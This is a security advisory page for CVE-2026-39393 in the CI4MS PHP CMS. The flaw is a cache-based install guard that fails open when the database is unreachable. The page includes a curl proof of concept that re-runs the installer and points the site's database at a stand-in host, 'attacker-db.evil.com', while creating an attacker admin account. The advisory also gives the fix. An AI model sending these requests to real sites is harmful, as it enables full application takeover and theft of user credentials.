Skip to content

GHSA-8rh5-4mvx-xj7j CVE-2026-39393

CI4MS Vulnerable to Post-Installation Re-entry via Cache-Dependent Install Guard Bypass

High Packagist
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.42%
Chance of exploitation in the next 30 days. Higher than 36.43% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
Fix
0.31.4.0
Upgrade ci4-cms-erp/ci4ms to this version or later

Description

Summary

The install route guard in ci4ms relies solely on a volatile cache check (cache('settings')) combined with .env file existence to block post-installation access to the setup wizard. When the database is temporarily unreachable during a cache miss (TTL expiry or admin-triggered cache clear), the guard fails open, allowing an unauthenticated attacker to overwrite the .env file with attacker-controlled database credentials, achieving full application takeover.

Details

The InstallFilter::before() method at modules/Install/Filters/InstallFilter.php:13 implements the install guard:

public function before(RequestInterface $request, $arguments = null)
{
    if (file_exists(ROOTPATH . '.env') && !empty(cache('settings'))) return show_404();
}

This requires both conditions — .env existence AND non-empty cache — to block access. The cache population happens in app/Config/Filters.php:128-151 during the Filters constructor, which runs before route-specific filters:

public function __construct()
{
    parent::__construct();
    if (is_file(ROOTPATH . '.env')) {
        try {
            $this->commonModel = new CommonModel();
            if (empty(cache('settings')) && $this->commonModel->db->tableExists('settings')) {
                $this->settings = $this->commonModel->lists('settings');
                // ... populate cache ...
                cache()->save('settings', $set, 86400); // 24h TTL
            }
        } catch (\Throwable $e) {
            $this->settings = (object)[]; // Silently swallow ALL exceptions
        }
    }

When the database is unreachable (connection failure, timeout, maintenance), the \Throwable catch at line 148-150 silently swallows the exception. The cache remains empty, and InstallFilter::before() sees empty(cache('settings')) as true, allowing the request through.

The install controller at modules/Install/Controllers/Install.php:10-87 then processes the POST:

  1. The host parameter at line 35 is not present in the validation rules ($valData, lines 13-27) — it is written directly from $this->request->getPost('host') to .env with zero validation
  2. copyEnvFile() (line 70) overwrites the existing .env by copying from the env template
  3. updateEnvSettings() (line 70) writes attacker-controlled values including database hostname
  4. No database connection is needed — the index() action only performs filesystem operations

Additionally, CSRF protection is explicitly disabled for all install routes in modules/Install/Config/InstallConfig.php:7-10:

public $csrfExcept = [
    'install',
    'install/*'
];

The cache has a 24-hour TTL (Filters.php:143), and cache()->delete('settings') is called in 14+ locations across admin controllers (Settings, Blog, Backup, AJAX, Pages), creating recurring windows where the cache is empty and must be repopulated from the database.

PoC

Prerequisites: The target database must be temporarily unreachable (maintenance window, connection exhaustion, network partition) at a moment when the settings cache has expired or been cleared.

# Step 1: Verify the install route is accessible (DB outage + cache miss)
curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)

# Step 2: Overwrite .env with attacker-controlled database credentials
curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d 'email=evil@attacker.com' \
  -d 'siteName=Pwned'
# No CSRF token required (CSRF exempt for install routes)
# .env is now overwritten with attacker's DB hostname

# Step 3: Follow redirect to /install/dbsetup
# This runs migrations on the attacker-controlled database and creates an admin account
# The application now connects to attacker's database = full takeover

Impact

When exploited during a database outage coinciding with cache expiry:

  • Full application takeover: The .env file is overwritten with attacker-controlled database credentials, redirecting all application database queries to an attacker-controlled server
  • Credential theft: All subsequent user logins, form submissions, and API calls send data to the attacker's database
  • Data integrity loss: The attacker controls what data the application reads from the database, enabling arbitrary content injection, phishing, and privilege escalation
  • Encryption key reset: generateEncryptionKey() is called (line 70), invalidating all existing encrypted data and sessions

The attack requires no authentication, no CSRF token, and no user interaction. The exploitability window recurs every 24 hours at cache TTL expiry and after any admin action that clears the settings cache, but is only exploitable when the database is simultaneously unreachable.

Recommended Fix

Replace the volatile cache-based install guard with a persistent filesystem lock:

// modules/Install/Filters/InstallFilter.php
class InstallFilter implements FilterInterface
{
    public function before(RequestInterface $request, $arguments = null)
    {
        // Use a persistent filesystem lock instead of volatile cache
        if (file_exists(WRITEPATH . 'installed.lock')) {
            return show_404();
        }
    }
}

Create the lock file at the end of successful installation in Install::dbsetup():

// At the end of dbsetup(), after successful migration and setup:
file_put_contents(WRITEPATH . 'installed.lock', date('Y-m-d H:i:s'));

Additionally, add validation for the host parameter in Install::index():

$valData['host'] = [
    'label' => lang('Install.databaseHost'),
    'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'
];

Affected versions

Packagist

PackageVulnerableFixed in
ci4-cms-erp/ci4ms
< 0.31.4.0
0.31.4.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

ci4-cms-erp/ci4ms Packagist → 0.31.4.0

composer
composer require ci4-cms-erp/ci4ms:^0.31.4.0

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gqr2-7hcg-rchf
CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule
High Also affects ci4-cms-erp/ci4ms
GHSA-245j-xjvr-xvm5
CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations
Medium Also affects ci4-cms-erp/ci4ms
GHSA-2m69-jmvh-6chr
CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule
Medium Also affects ci4-cms-erp/ci4ms
GHSA-5hfv-c864-qcq9
CI4MS has a Deactivated User Session Bypass (active=0)
Medium Also affects ci4-cms-erp/ci4ms
GHSA-vgrf-pr28-vf98
CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess
Medium Also affects ci4-cms-erp/ci4ms
GHSA-fw49-9xq4-gmx6
CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
High Also affects ci4-cms-erp/ci4ms
GHSA-xv3r-vr59-95rg
CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE
Critical Also affects ci4-cms-erp/ci4ms
GHSA-xp9f-pvvc-57p4
CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE
Critical Also affects ci4-cms-erp/ci4ms
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor